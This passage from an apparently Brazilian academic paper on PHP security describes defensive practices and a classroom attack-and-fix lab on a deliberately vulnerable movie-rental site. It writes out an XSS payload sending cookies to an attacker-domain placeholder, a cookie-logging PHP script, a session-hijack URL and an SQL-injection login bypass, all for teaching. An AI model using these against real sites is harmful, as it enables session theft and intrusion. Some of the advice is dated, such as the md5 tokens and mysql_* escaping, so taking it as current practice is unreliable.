antes de o script ser processado—ou seja, a linguagem salva arquivos em disco imediatamente ao recebê-los, sem permitir qualquer tipo de conferência prévia.

Felizmente o PHP é configurado para salvar arquivo temporário em um diretório inacessível ao usuário Web, e ele é excluído assim que a execução do script terminar. Sendo assim, fica a cargo do programador decidir o que fazer com esse arquivo temporário. Normalmente esse arquivo é movido para um local permanente, onde ele será armazenado e manipulado.

Uma vulnerabilidade nesse processo permitirá ao atacante enviar, por exemplo, arquivos executáveis; e se for possível descobrir o lugar onde esse arquivo foi armazenado, ele poderá conseguir executá-lo com uma requisição HTTP comum.

É em locais como esse que o programador deve aplicar todo o conhecimento que possui para garantir a segurança. Arquivos devem ser vistos como argumentos vindos de formulários—ou seja, nada garante a sua correção, e nada impede de que eles podem ter fins maliciosos.

4 PRÁTICAS DE SEGURANÇA

4.1 Validação de argumentos

Uma das peças fundamentais de um sistema PHP seguro é o tratamento e verificação de argumentos recebidos de fontes externas, sejam argumentos Get, Post, *cookies* ou enfim. Esse hábito começa pela compreensão de que, por padrão, não se pode confiar em argumentos externos: por mais que o sistema tente ocultar argumentos sensíveis ou impossibilitar o usuário de informar dados inválidos em um campo de um formulário, como foi dito anteriormente, existe uma grande série de artifícios usados para burlar facilmente essas restrições. Portanto, *qualquer* dado externo é, por padrão, potencialmente perigoso.

Para tornar essa compreensão imediata, pode-se pensar que os próprios *arrays* **`$_GET`**, **`$_POST`**, **`$_REQUEST`**, **`$_COOKIE`**, etc., são potencialmente perigosos (o *array* **`$_SESSION`** é matido fora desta lista, pois, ao contrário dos outros, não há maneira factível de um atacante manipular diretamente esse vetor). Qualquer valor extraído deles deverá passar por algum tipo de filtro, e é preferível que se armazene esses valores já filtrados em outra estrutura; por exemplo, um *array* **`$Dados`**. Essa prática cria uma distinção clara e imediata entre dados confiáveis e não confiáveis. Shiflett sugere, por exemplo, o uso de um *array* chamado **`$clean`** para armazenar valores seguros.

Filtrar dados indivudualmente, de certa forma, exige mais trabalhos e mais cuidados dos programadores. Às vezes, o filtro pode ser extremamente simples: para validar números inteiros, por exemplo, um simples *cast* do tipo **`(int)$_GET['a']`** pode ser efetivo, mas exigir que isso seja feito manualmente para *cada* valor recebido adiciona um possível ponto de falha no processo de desenvolvimento, pois qualquer omissão ou erro pode criar uma vulnerabilidade explorável. É recomendável, portanto, que se utilize bibliotecas ou *frameworks* que tornem esse processo o mais automático e confiável quanto for possível.

Formulários HTML podem dispor de funções JavaScript para que a validação e consistência de dados seja feita de forma dinâmica, antes de o formulário ser submetido. Pode-se criar, por exemplo, máscaras para certos tipos de dados (ex. datas, CPF, CNPJ, etc.) e validadores de campos obrigatórios. Artifícios como esse são excelentes para aumentar a usabilidade do sistema e aprimorar a interface com o usuário, mas a proteção contra ataques fornecida é desprezível. Não deve se considerar um exagero ou um desperdício de recursos a validação repetida de dados. Pelo contrário: em termos de medidas de segurança, Shiflett destaca o termo *Defense in Depth*, descrito da seguinte forma: “In the context of programming, adhering to Defense in Depth requires that you always have a backup plan. If a particular safeguard fails, there should be another to offer some protection.” (Shiflett, 2006, p. 4)

4.1.1 Funções de validação do PHP

Shiflett argumenta que o uso de funções nativas do PHP para validação de dados é preferível, do ponto de vista de segurança de sistemas: “These functions are less likely to contain errors than code that you write yourself is, and an error in yout filtering logic is almost certain to result in a security vulnerability” (Shiflett, 2006, p. 11). O PHP, de fato, possui uma série de funções que realizam testes de tipos de dados, como a função *is_numeric*. Essa função não apenas valida variáveis do tipo *int* ou *float*, mas também valida *strings* que representem números. Deve-se prestar atenção, porém, para o fato de que o PHP trabalha com números no formato americano—isto é, com ponto decimal ao invés de vírgula decimal.

Um exemplo de como isso poderia funcionar:

```
if(is_numeric($_POST['idade']))
  $Dados['idade’] = $_POST['idade'];
else
  erro('Idade inválida.');
```

Note que funções como esta apenas testam o tipo de variável, sem formatá-las.

4.1.2 Funções ctype

O PHP possui também uma biblioteca de funções *ctype*, que validam *strings* de acordo com determinados critérios. A função *ctype_alnum*, por exemplo, valida apenas *strings* compostas exclusivamente de caracteres alfanuméricos—isto é, dígitos e letras, excluindo sinais de pontuação, espaços em branco e caracteres de controle. Há funções que validam *strings* alfabéticas, numéricas, imprimíveis (isto é, que não possuem caracteres de controle) e hexadecimais.

O Manual do PHP afirma que “ctype functions are always preferred over regular expressions, and even to some equivalent str_* and is_* functions. This is because of the fact that ctype uses a native C library and thus processes significantly faster”.

Alguns exemlos de uso:

```
if(!ctype_alpha($_POST['nome_pessoa’]) or
   !ctype_digit($_POST['ano_nascimento']) or
   !ctype_alnum($_POST['registro_geral']))
     Erro('Dados inválidos.');
```

Utiliza-se a função **`ctype_alpha`** para permitir apenas caracteres alfabéticos, **`ctype_digit`** para permitir apenas dígitos, e **`ctype_alnum`** para caracteres alfanuméricos. Note que, para permitir que caracteres acentuados (isto é, especiais) sejam aceitos, deve-se configurar a opção *locale* do PHP. Novamente, essas funções apenas verificam o dado, sem formatá-lo de qualquer forma.

4.1.3 Expressões regulares

O PHP oferece suporte para expressões regulares, que são um recurso extremamente poderoso e versátil para validação e formatação de *strings*. O uso de expressões regulares pode oferecer diversas soluções para validação de dados, lidando com dados de diversos formatos: números, datas, horas, CPF, etc.. Além disso, as expressões regulares podem também formatar dados para adequá-los às regras do sistema; por exemplo, converter datas para o formato americano (mm/dd/aaaa) para inseri-lo na base de dados, remover ou adicionar pontos e hífens ao CPF, CEP ou CNPJ.

Um dos problemas do uso de expressões regulares é que qualquer falha em uma expressão pode resultar em uma vulnerabilidade. Embora algumas expressões úteis podem ser relativamente simples, e pode-se encontrar soluções prontas na Internet, a única maneira de garantir 100% de correção dessas expressões seria realizar um teste exaustivo com todos os *possíveis* erros e vulnerabilidades, o que pode não ser viável.

Além disso, expressões regulares não são um recurso eficiente, e para grande volumes de dados, isso pode se tornar um problema. Para verificações mais simples, deve-se dar preferência para as funções nativas do PHP, apresentadas acima.

Um possível uso de expressões regulares é para validação de datas e conversão entre formatos. Em uma página que trabalha com datas no formato brasileiro (dd/mm/aaaa), pode ser necessário converter para um formato que seja reconhecido pelo banco de dados. Eis uma forma de se fazer isso com expressões regulares:

```
   $Data = preg_replace('/^(\d\d)\/(\d\d)\/(\d\d\d\d)$/', '\3-\2-\1',
$_POST['data']);
```

O código acima formata uma data no formato brasileiro para o formato aaaa-mm-dd. Além disso, caso o dado informado não seja reconhecido pela expressão regular, função retornará o valor **`NULL`**. Observe que a expressão acima não verifica a validade de uma data (por exemplo, tanto "31/02/2011" quanto "01/02/2011" são reconhecidas como válidas), portanto deve-se reconhecer as limitações do recurso. Note também o uso dos caracteres ^ e $ para delimitar o início e fim de *string*: isso significa que quaisquer caracteres que venham antes ou depois da data resultem em falha de validação. Pode-se alterar a expressão para que, ao invés disso, esses caracteres sejam simplesmente eliminados:

```
   $Data = preg_replace('/^.*(\d\d)\/(\d\d)\/(\d\d\d\d).*$/', '\3-\2-
\1', $_POST['data']);
```

Não se deve avaliar qual das opções é "melhor" do que a outra, e sim qual é mais adequada para o caso específico.

4.1.4 Formatação de strings para banco de dados

Uma das medidas essenciais para a mitigação de ataques de *SQL Injection* é o escape de *strings*, que consiste em tratar caracteres especiais (aspas simples ou duplas, contrabarras, etc.) de forma a serem reconhecidos como parte de uma *string*, e não como parte da sintaxe do SQL. Um fator complicador disso é que a sintaxe tende a variar dentre os diversos fabricantes de SGBDs, e até mesmo dentre os ambientes onde eles se encontram. Para resolver esse problema, algumas bibliotecas de banco de dados oferecem funções que escapam *strings* de acordo com as características do banco ao qual o *script* está conectado. Por exemplo, a função *mysql_real_escape_string* recebe como argumentos a *string* a ser formatada e a conexão—isto é, a variável *resource* que é retornada pela função *mysql_connect*. O manual do PHP avisa: "If this function is not used to escape data, the query is vulnerable to SQL Injection Attacks" (http://www.php.net/manual/en/function.mysql-real-escape-string.php). A biblioteca do PostgreSQL possui a função *pg_escape_string*, que recebe os mesmos argumentos.

O problema é que nem todas as bibliotecas de bancos de dados possuem funções equivalentes a essas. Portanto, em alguns casos, o programador deverá ter uma solução não-nativa para formatar *strings*.

4.2 Controle de mensagens de erro

Em termos de segurança de sistemas, considera-se que quanto menos informações inúeis sejam exibidos para os usuários, melhor. Por exemplo, um atacante, ao tentar invadir um servidor fornecendo dados inválidos, poderá receber um *banner* informando a versão do *software* que está rodando na máquina-alvo. Este dado pode permitir que o atacante procure vulnerabilidades conhecidas para agilizar a invasão.

Em termos de aplicações PHP, esse cuidado deve ser tomado com as mensagens de erro. Por exemplo, um simples *Notice* avisando sobre variáveis não inicializadas revelará detalhes de implementação do código—neste caso, o nome de uma variável cujo valor não foi definido e está sendo consultado. Pode ser que um possível atacante não consiga fazer muito uso dessa informação em particular, mas não há motivo para que essa mensagem fique visível para os usuários finais. Portanto, é importante que essas mensagens sejam eliminadas, seja através da correção do *script*, ou do uso da diretiva *error_reporting*.

Um caso mais grave onde isso pode realmente auxiliar um atacante é quando o sistema exibe mensagens vindas do banco de dados. Há SGBDs que retornam, nas mensagens de erro, trechos do código SQL executado, nomes de colunas e tabelas, restrições específicas de colunas (por exemplo, aceitação de valores nulos), etc. Para um atacante, seja com o uso do SQL Injection ou pela descuberta de um *script* defeituoso, pode descobrir detalhes essenciais da base de dados, e concretizar ataques à aplicação. Naturalmente, por si só o SQL Injection é uma vulnerabilidade gravíssima, mas a exibição desses detalhes é uma ferramenta importante usada pelos atacantes, e deve ser retirada das aplicações.

A diretiva *error_reporting* felizmente providencia uma solução para o problema: basta desabilitar *todas* as mensagens de erro com a constante E_NONE. Também é possível alterar o arquivo de configurações php.ini. Mesmo assim, pode ser que uma página, por acidente, esteja utilizando o *error_reporting* para habilitar mensagens de erros. Esses casos devem ser evitados a todo custo.

4.3 Controle de dados exibidos

A falha ao tratar os dados que são exibidos para o usuário em um *script* PHP pode gerar brechas para ataques do tipo *cross-site scripting* (XSS), como descrito acima.

O PHP possui funções de tratamento de strings, como a **`htmlentities`**, que substitui caracteres especiais por entidades HTML. Dentre esses caracteres encontram-se os sinais de maior e menor (delimitadores de *tags*), o *e comercial* (símbolo demarcador de entidadw) e as aspas simples e duplas (delimitadores de propriedades). Se o atacante enviar mensagens que contenham sintaxe HTML, ao ser exibida de volta na tela, esses caracteres serão substituídos pelas suas respectivas entidades, e ao invés de produzir código HTML interpretável, resultará em texto puro. Uma página, ao exibir dados na tela, poderá fazê-lo desta forma:

```
echo htmlentities($dados['comentario']);
```

Desta forma, qualquer código HTML ou JavaScript será exibido literalmente na tela, ao invés de ser interpretado e executado pelo navegador do usuário.

É importante ressaltar, porém, que dados inseridos em outros contextos (por exemplo, CSS e JavaScript) podem necessitar de tratamentos de escape diferentes. É importante procurar e utilizar as ferramentas mais indicadas para cada caso.

4.4 Validação de formulários

Muitos sistemas Web dependem de formulários HTML, formulários esses que podem servir de interface para ações bastante sensíveis. Já foi dito que é muito fácil utilizar softwares como o Firebug para burlar restrições do formulário para enviar dados inválidos, porém há maneiras mais poderosas e eficazes de explorar *scripts* vulneráveis, que consistem em forjar submissões de formulários—seja salvando o formulário original em outro servidor e manipulando-o diretamente, ou enviando requisições http geradas manualmente. Como já foi dito, argumentos enviados via método Get aparecem na própria URL requisitada, enquanto dados enviados via Post são colocados dentro da requisição, mas o formato da *string* de argumentos é idêntico ao do método Get (exemplo, `a=1&b=3&c=banana`), e extremamente fácil de forjar.

Uma maneira de garantir que a requisição deve partir de um formulário legítimo é utilizando valores aleatórios, denominados *tokens*, que é armazenada na sessão do usuário e inserido no formulário da aplicação, em um campo oculto (*hidden*). O *script* que recebe o formulário deverá comparar o valor recebido com o valor da sessão, e no caso de eles não serem iguais, recusar a requisição. Isso inibe as tentativas de falsificação de requisições, porém *não* elimina a necessidade da validação dos dados recebidos e outras medidas de segurança.

5 ATIVIDADE DIDÁTICA

5.1 Descrição geral

A atividade didática proposta por este trabalho segue a linha geral das atividades de laboratório que fazem parte da disciplina Segurança em Sistemas de Computação. Estas consistem em analisar situações reais de servidores Web, procurar vulnerabilidades desses softwares e explorá-las com fins maliciosos. O objetivo é motivar os alunos a valorizar e procurar soluções de segurança, mostrando a severidade das vulnerabilidades e a facilidade de exploração com fins maliciosos.

O objetivo deste trabalho é oferecer uma atividade análoga sobre um sistema fictício em PHP. Para isso, esse sistema deve conter algumas das vulnerabilidades mais comuns e facilmente exploráveis. A atividade conterá um *roteiro*, onde o aluno verá, na prática, o impacto que essas vulnerabilidades podem ter em uma aplicação real.

5.2 Descrição específica

A proposta do trabalho é de apresentar um sistema de complexidade e criticidade baixas, desenvolvido em PHP, que contenha algumas das principais e mais comuns falhas de segurança. Dentre essas falhas, serão incluídas *SQL Injection*, *Cross-Site Scripting* e falsificação de formulários.

O sistema será um *site* de locação de filmes, onde os usuários poderão cadastrar-se e realizar consultas a um catálogo *on-line*, alugar filmes e enviar opiniões e críticas sobre os filmes que constam no catálogo.

O roteiro de invasão iniciará de forma simples, com o uso de *Cross-Site Scripting* para obter informações dos usuários do sistema. Isto será feito na seção de comentários e resenhas. A vulnerabilidade consistirá no não tratamento de caracteres especiais do HTML, o que permitirá ao aluno inserir um código JavaScript que coletará dados de *cookies* dos usuários. Utilizando esses dados, o aluno poderá roubar a sessão de um usuário legítimo, obtendo acesso ao sistema sem precisar descobrir nomes de usuários ou senhas.

O passo seguinte consiste no uso de *SQL Injection* para a obtenção de acesso indevido ao sistema. Através de uma tela de *login* insegura, o aluno poderá manipular os campos de usuário e senha, inserindo código SQL para a obtenção de acesso na área administrativa do sistema. Ao obter este acesso, o invasor poderá utilizar o formulário de cadastro para criar uma conta para si, obtendo conrole máximo sobre o sistema.

Para a realização da atividade, o site deverá ser instalado em um servidor acessível aos alunos. O site consiste de uma série de arquivos PHP, bem como uma base de dados já populada. Cada aluno também deverá ter acesso um pequeno espaço separado, que será usado como se fosse um domínio externo ao site. Pode-se instalar o site em um

único servidor, o qual será acessado e invadido por todos os alunos simulataneamente, ou instalar um servidor individual para cada aluno.

A primeira alternativa é menos dispendiosa e fácil de instalar, e permitirá que o professor providencie uma sessão de um usuário autêntico, necessário para a realização do passo descrito na subseção 5.3.3. Já a segunda alternativa fará com que a execução das tarefas de cada aluno não interfira com a dos outros, permitindo uma liberdade maior de exploração da atividade, e permite que cada aluno realize as correções do site de forma individual e independente. Isso necessita, porém, que o servidor com o site seja instalado individualmente em cada máquina. Pode-se também criar réplicas do site em um mesmo servidor, porém o banco de dados continuaria a ser compartilhado, o que não resolverá o problema de conflitos.

5.3 Roteiro da invasão

A primeira parte da tarefa consiste na procura e vulnerabilidades e utilização de explorações comuns para atacar o site. Um roteiro será fornecido, contendo os ataques a serem realizados, e os passos a serem seguidos para executá-los. Estimula-se que o aluno procure outras vulnerabilidades e ataques alternativos, adicionando assim material a ser abordado.

5.3.1 Cross-Site Scripting (XSS)

O primeiro momento da invasão consistirá no uso de XSS em um setor do sistema onde os visitantes são livres para enviarem comentários, que são então publicados na página.

O visitante poderá consultar o catálogo de itens (filmes) disponíveis para locação. Na página de detalhes para cada item, há uma seção de opiniões dos visitantes, e cada visitante poderá submeter suas opiniões através de um formulário simples, como visto na Figura 1 abaixo.

A primeira tarefa do aluno será de selecionar qualquer item e enviar um comentário, inserindo um código JavaScript qualquer dentro dele. Recomenda-se que esse código exiba uma caixa de diálogo, através do método **`alert()`**, para que o aluno veja o resultado de sua ação. Um uso comum do ataque XSS consiste em coletar os dados dos *cookies* do usuário, portanto o conteúdo recomendado para ser inserido é o seguinte:

```
<script type="text/javascript">alert(document.cookie);</script>
```

O segundo passo será transformar esse ataque em algo mais próximo do mundo real. Para isso, o aluno terá um espaço onde armazenar os seus *scripts* que farão parte do ataque. Esse espaço poderá ser em um domínio diferente do domínio da aplicação, ou poderá mesmo ser no mesmo domínio, porém em um diretório diferente. Sugere-se que o aluno já disponha de um *script* PHP que recebe um argumento via *Get* e escreva-o em um arquivo, seguindo o exemplo abaixo:

```
<?php
$fp = fopen('cookies.txt', 'a');
fwrite($fp, $_GET['cookies']);
```

Figura 1: Tela de comentários

Desta forma, o ataque XSS pode enviar os *cookies* do usuário para uma página externa, que os registrará em um arquivo que o invasor poderá consultar. A *string* a ser inserida como comentário no site poderá a seguinte:

```
<script type="text/javascript">window.open('[domínio do
invasor]/xss.php?cookies='+escape(document.cookie), 'aaa');</script>
```

Nesse caso, **`xss.php`** é o nome do *script* PHP descrito acima. Após esse passo, é importante que o aluno acesse a página atacada, e veja o resultado no arquivo **`cookies.php`** gerado no seu domínio.

5.3.2 Cross-Site Request Forgery para ataque XSS em massa

O passo seguinte do roteiro consiste no uso de um *script* PHP para automatizar o ataque XSS no sistema alvo. Para isso, o usuário utilizará ferramentas para analisar o código-fonte da página a ser atacada e o conteúdo da requisição HTTP gerada para cada comentário enviado. O objetivo desse passo é gerar comentários para vários itens de forma automatizada, acelerando muito o processo de invasão e aumentando o dano potencial.

Para isso, recomenda-se o uso do plug-in *Firebug* para o *Mozilla Firefox*, pelo fato de que é possível através dele obter o conteúdo integral de uma requisição HTTP. Para isso, o aluno primeiro habilita o painel *Rede* e envia um comentário para o site. Então, ele clica com o botão direito na requisição desejada (no caso, a requisição *Post* ao arquivo *comentarios.php*) e seleciona a opção *Copiar Cabeçalhos de Solicitação*. O conteúdo será copiado para a área de transferência, e para visualizá-lo, basta colar com ctrl+v em um editor de textos. Os argumentos enviados via *Post* podem ser visualizados, no seu formato puro, na aba *Postar* da requisição.

O aluno deverá criar um *script* PHP que fabrique requisições semelhantes a essa, apenas variando o identificador do item, que é inserido no campo *id*. O roteiro poderá

providenciar um modelo de *script* que faça isso, para evitar um trabalho extenso e desnecessário. O *script* precisa apenas enviar essa requisição diversas vezes, incrementando o *id* a cada requisição, e parar quando a resposta da requisição mudar—isto é, quando acabarem os itens.

O resultado disso é que *todos* os itens do site terão recebido a invasão XSS, fazendo com que qualquer exibição da página de detalhes seja potencialmente perigosa.

5.3.3 Roubo de sessão

O passo seguinte utilizará o ataque realizado nos passos anteriores. Para isso, o aluno deverá simular o acesso ao sistema por parte de um usuário legítimo.

O site apresenta uma tela de *login* (Figura 2), onde os usuários do site identificam-se com seu usuário e senha. Usuários do site podem acessar seus dados pessoais, realizar pedidos de empréstimos, acessar seu histórico de empréstimos e enviar resenhas de filmes com seus usuários autenticados.

Figura 2: Tela de login

A simulação de usuário dependerá de como a simulação for implementada. Caso cada aluno possua uma cópia local do site, o próprio aluno deverá realizar o login em uma instância separada do navegador Web, ou em um navegador diferente, de forma que seja possível criar duas sessões separadas. Caso o site seja centralizado em um único servidor, o próprio professor poderá simular o usuário legítimo.

O usuário simulado deverá realizar login no site, com um usuário e senha pré-definidos, e acessar uma das páginas afetadas pelo ataque XSS. No domínio do atacante, isso deverá criar uma linha no log dos *cookies* do usuário, semelhante à linha a seguir:

```
PHPSESSID=sorf5snp8gp5uv3rv3qfpnt5c5
```

O aluno, no papel de atacante, poderá então usar o dado acima para "roubar" a sessão do usuário legítio. Para isso, ele precisa apenas acessar a seguinte URL:

```
http://[site]/login.php?PHPSESSID=sorf5snp8gp5uv3rv3qfpnt5c5
```

É necessário que, no momento do acesso, o aluno não possua nenhuma sessão ativa no site. Caso ele haja, o PHPSESSID enviado via Get não terá efeito algum. Nesse caso, basta o usuário acessar a página `logout.php` para que a sessão seja encerrada.

Para atestar que a sessão foi obtida com sucesso, o aluno poderá alterar os dados pessoais do usuário e verificar o resultado.

5.3.4 SQL Injection para obtenção de acesso

O próximo ataque consiste no uso de *SQL Injection* para burlar a tela de *login*. O aluno deverá tentar usar as técnicas mais comuns para obter acesso indevido, e é recomendado que o aluno experimente, por tentativa e erro, burlar a página sozinho.

Se o aluno não tiver condições, ele poderá realizar o ataque seguindo o modelo da Figura 3 abaixo:

Figura 3: Invasão do site usando SQL Injection

É necessário deixar evidente a necessidade do espaço em branco após os dois hífens, pois sem ele, o MySQL não interpreta o resto do comando SQL como comentário.

Nesse caso, o ataque acima gerará uma sessão para o usuário de número 1, que neste site especificamente, é o registro do administrador do site. Dessa forma, o atacante obterá pleno acesso ao site, e a informações sensíveis dos clientes do site.

5.4 Correção das falhas

A segunda parte da atividade providenciará aos alunos um roteiro de correções para as falhas do site. Para permitir que o aluno veja o resultado de cada correção na prática, a ordem das correções não seguirá a mesma ordem das invasões.

Ressalta-se que, para esta parte, o aluno realizará alterações no código-fonte do site, e isso só será plenamente possível se cada aluno tiver uma cópia do site, seja em um único servidor ou em cada computador.

5.4.1 Evitando o roubo de sessão

A coleta dos *cookies* por si só já é uma falha de segurança grave, mas pode-se evitar o roubo de sessões implementando um mecanismo de proteção nos links do site. O mecanismo consiste em enviar um *token* via método Get para as outras páginas do site, que ao mesmo tempo é armazenado na seção. Cada página deverá comparar o *token* recebido com o *token* armazenado na sessão, e recusar acesso caso eles sejam diferentes. Para evitar que o *token* possa ser deduzido, Shiflett sugere criptografar um dos cabeçalhos da requisição, concatenado com uma *string* pré-definida (*salt*). Na prática, esse código-fonte seguiria o molde abaixo:

```
If($_GET['Token'] != $_SESSION['Token'])
   Erro();

$_SESSION['Token'] = md5($_SERVER['HTTP_USER_AGENT']."Sal!"); ?>
<a href="pagina.php?Token=<?php echo $_SESSION['Token'] ?>">
  Link</a>
```

Recomenda-se que o aluno adapte o código acima para apenas algumas páginas do site, e teste novamente o ataque descrito na subseção 5.3.3 para ver se o problema persiste.

5.4.2 Evitando Cross-Site Request Forgery

No passo seguinte, o aluno será guiado na criação de um *token* no formulário de comentários, conforme foi descrito no capitulo 4.4. O aluno deverá localizar o *script* PHP responsável por cadastrar comentários, utilizando um gerador de números aleatórios para gerar o *token*. O *token* resultante será armazenado em uma variável de sessão, e inserido no formulário em um campo *hidden*. O sistema, ao receber a requisição, comparará o valor recebido via *Post* com o valor armazenado na sessão, e gerará um erro caso os valores sejam diferentes. O mecanismo é semelhante ao descrito na subseção anterior, portanto o aluno deverá ter cuidado para não confundir ambos os *tokens*, e compreender a diferença entre eles.

Feito isso, o aluno deverá disparar o ataque XSS automatizado e observar o resultado. Embora isso não elimine o risco de XSS, o aluno não deverá ver novas mensagens geradas eletronicamente nos comentários, atestando, dessa forma, a eficácia da técnica utilizada contra requisições falsificadas.

5.4.3 Evitando Cross-Site Scripting

Para mitigar o risco de invasões XSS na página de comentários, pode-se tomar uma medida extremamente simples que resolve grande parte dos problemas. O uso da função **`htmlentities()`** fará com que o texto enviado como argumento seja exibido literalmente na tela, inclusive caracteres especiais do HTML como os sinais de maior e menor. Isso fará com que as tags **`script`** não sejam executadas pelo navegador.

Existem alternativas mais sofisticadas, que filtram o texto e proíbem apenas determinados trechos considerados maliciosos, mas o objetivo da atividade é mostrar que medidas simples podem ser muito efetivas.

O aluno será orientado a procurar a página *php* que exibe os comentários e alterar a linha de código que exibe o texto do comentário para utilizar a função **`htmlentities()`**. Após realizada a alteração no sistema, o aluno deverá ver que os ataques XSS anteriores já não dão mais resultado, e poderá repetir a tentativa de ataque XSS exatamente como foi feita antes para observar o resultado.

5.4.4 Evitando o ataque de SQL Injection

A etapa final do trabalho consistirá no uso de mecanismos para tornar as consultas SQL seguras. Várias páginas do site fazem consultas SQL, então recomenda-se que o aluno conserte o problema na página de *login*, pois a solução para as outras páginas seguem o mesmo molde.

Ao encontrar o *script* de login, o aluno deverá localizar a linha onde a consulta SQL é montada. Ao invés de simplesmente concatenar o conteúdo de **`$_POST['usuario']`** e **`$_POST['senha']`** na consulta, o aluno utilizará a função **`mysql_real_escape_string()`**, passando cada um dos argumentos como parâmetro da função, e concatenando seu resultado à consulta, da seguinte forma:

```
$SQL = " select * from usuarios where username = '".mysql_real_escape_string($_POST['usuario'])."' and senha = '". mysql_real_escape_string($_POST['senha'])."'";
```

Feito isso, o aluno deverá tentar executar a invasão de SQL Injection novamente e comparar os resultados. Opcionalmente, o aluno poderá alterar a função customizada `query()` para exibir na tela a consulta sendo executada, para analisar o resultado da correção.

5.5 Considerações de conclusão da atividade

Deve-se deixar claro para os alunos que as correções apresentadas não são soluções definitivas para os problemas de segurança em sistemas PHP, e são apenas sugestões de medidas simples e efetivas de proteção contra ataques. O objetivo da tarefa é de demonstrar os fatores mais comuns de vulnerabilidade e os riscos associados, e não de mostrar soluções perfeitas para todos os problemas.

CONCLUSÃO

As características da programação Web e da linguagem PHP, e os problemas envolvidos, devem ser conhecidas pelos desenvolvedores de sistemas, para que as devidas medidas de segurança sejam escolhidas e utilizadas. Não basta apenas conhecer as soluções e técnicas de segurança, pois estas podem ser utilizadas de forma inadequada, e pode ser desejável desenvolver testes de segurança que ponham à prova a confiabilidade do sistema.

Hoje em dia é comum encontrar bibliotecas que implementem camadas de segurança, bem como *frameworks* de desenvolvimento que incorporam diversos mecanismos. Mesmo assim, na maioria dos casos, é essencial dominar boas práticas de programação, e saber como utilizar o máximo desses benefícios. Isso se torna possível quando o desenvolvedor tem conhecimento das falhas mais comuns e de quais as possíveis consequências de um ataque.

Esse esforço, porém, não deve ser exclusivo do desenvolvedor, muito menos uma atitude isolada. Projetistas e analistas de sistemas também devem ter consciência da importância e necessidade de segurança em um sistema. Isso incentiva em toda a equipe a atitude de adotar boas práticas e evitar vícios de programação desde o início do projeto. Isto reduz a necessidade de correções posteriores, em estágios mais avançados de um projeto, o que tende a ser consideravelmente mais custoso e ineficaz.

A preocupação com segurança, às vezes, acaba sendo desprezada por questões de desempenho das aplicações: prefere-se eliminar as camadas de segurança para deixar o sistema mais leve e veloz. Porém nem sempre a segurança resulta em uma perda de desempenho considerável, principalmente em relação ao ganho obtido. Testes e benchmarks em aplicações podem ajudar a conscientizar as equipes de que a segurança não deve ser vista como um peso desnecessário, e esse assunto pode servir como tema para trabalhos futuros.

Segurança não é uma preocupação isolada e restrita a pequenos grupos. Há normas e padrões internacionais de segurança em aplicações, como a ISO 27002, que trata especificamente desse assunto, e grupos como a OWASP e a WASC vêm desempenhando um papel importante na conscientização e divulgação de questões de segurança. Ou seja, segurança representa um esforço amplo e coletivo. Dessa forma, um aluno ou profissional da área deve entrar em contato com o conceito de segurança durante o aprendizado, e não apenas depois de começar a exercer a atividade de desenvolvimento, tornando-se dessa forma um profissional mais completo e adequado para o contexto atual.

BIBLIOGRAFIA

About Moodle. Disponível em <http://docs.moodle.org/en/About_Moodle>. Acesso em Abr 2011.

CHAMBERS, C.; DOLSKE, J.; IYER, J. **TCP/IP Security**. Disponível em <http://www.linuxsecurity.com/resource_files/documentation/tcpip-security.html>. Acesso em Abr 2011.

CLOWES, S. **A Study in Scarlet**: Exploiting Common Vulnerabilities in PHP Applications. Disponível em <http://www.secureреality.com.au/studyinscarlet.txt>. Acesso em Abri 2011.

CONVERSE, T; PARK, J. **PHP 4: a Bíblia**. 2ª ed. Traduzido por Edson Furmankiewicz. Rio de Janeiro: Elsevier, 2003. 868 p.

FIOCA, B. **Digg PHP's Scalability and Performance**, 2006. Disponível em <http://www.oreillynet.com/onlamp/blog/2006/04/digg_phps_scalability_and_perf.html>. Acesso em Abr 2011.

GUTMANS, A. Foreword. In: SHIFLETT, C. **Essential PHP Security**. Sebastopol, EUA: O'Reilly Media Inc., 2006. p. vii

LERDORF, Rasmus. **Announce: Personal Home Page Tools (PHP Tools)**, 1995. Disponível em <http://groups.google.com/group/comp.infosystems.www.authoring.cgi/msg/cc7d43454d64d133?pli=1>. Acesso em Abr 2011.

MCCLURE, S.; SCAMBRAY, J.; KURTZ, G. **Hacking Exposed 6**: Network Security Secrets & Solutions. New York, EUA: McGraw-Hill, 2009, 687 p.

OWASP Top Ten Project. <https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project>. Acesso em Mai 2011.

PHP 5 ChangeLog. <http://php.net/ChangeLog-5.php> Acesso em Jun 2011.

SHIFLETT, C. **Essential PHP Security**. Sebastopol, EUA: O'Reilly Media Inc., 2006, 115 p.

SHIRE, B. **PHP and Facebook**, 2005. Disponível em <http://blog.facebook.com/blog.php?post=2356432130>. Acesso em Abr 2011.

Usage Stats for April 2007. Disponível em <http://php.net/usage.php>. Acesso em Abr 2011.

W3C. **URIs, Addressability, and the use of HTTP GET and POST**. <http://www.w3.org/2001/tag/doc/whenToUseGet-20040321>. Acesso em Jun 2011.